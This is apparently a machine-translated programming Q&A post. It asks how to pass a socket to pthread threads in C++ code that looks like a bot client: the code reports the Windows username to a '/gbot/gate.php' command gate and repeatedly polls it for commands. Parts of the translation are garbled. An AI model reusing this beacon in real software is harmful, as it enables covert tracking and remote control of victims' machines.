void* sendFirstReq(SOCKET Socket){
char buffer[10000];
string mybuf("GET /gbot/gate.php?page=ident&os=");
if(getenv("windir") != NULL){
mybuf += "windows&username=";
mybuf += getenv("username");
mybuf += "&version=win";
mybuf += "\r\n\r\n";
}
else
mybuf += "linux\r\n\r\n";
send(Socket, mybuf.c_str(), mybuf.length(), 0);
recv(Socket, buffer, 10000, 0);
cout << buffer;
}
void* sendSecReq(SOCKET Socket){
char buffer[10000];
string mybuf("GET /gbot/gate.php?page=cmd\r\n\r\n");
send(Socket, mybuf.c_str(), mybuf.length(), 0);
recv(Socket, buffer, 10000, 0);
cout << buffer;
}
while(true)
{
pthread_t t1;
pthread_t t2;
pthread_create(&t1, NULL, &sendFirstReq, NULL);
pthread_create(&t1, NULL, &sendSecReq, NULL);
_sleep(5000);
}
这是我项目中的一段代码。 我想多线程,但我得到一堆错误。 首先,void *函数必须得到一个void * arg,所以我可以发送SOCKET throgh? 而另一错误是:C++多线程错误和SOCKET
初始化的`INT在pthread_create(的pthread_t *, pthread_attr_t_ * const的*,无效*()(空隙),无效*)”
和论证3我不知道如何解决它,谢谢你的帮助。
你的意思是“投”,而不是“切片”。切片在C++中是不同的。另请注意,从T *到void *的转换是隐含的。反过来需要一个演员,而且应该是一个static_cast。如果可以避免使用C风格的演员阵容,那么他们很危险。 –
2013-04-10 18:59:05
谢谢,我没有使用它,因为上述通常为我工作:) – 2013-04-11 02:27:14
是的,你会演员工作,毫无疑问。问题是如果你写了例如“(void *)socket”而不是“(void *)&socket”,编译器不会告诉你。如果您尝试使用static_cast,编译器会发出抱怨。 – 2013-04-11 04:29:54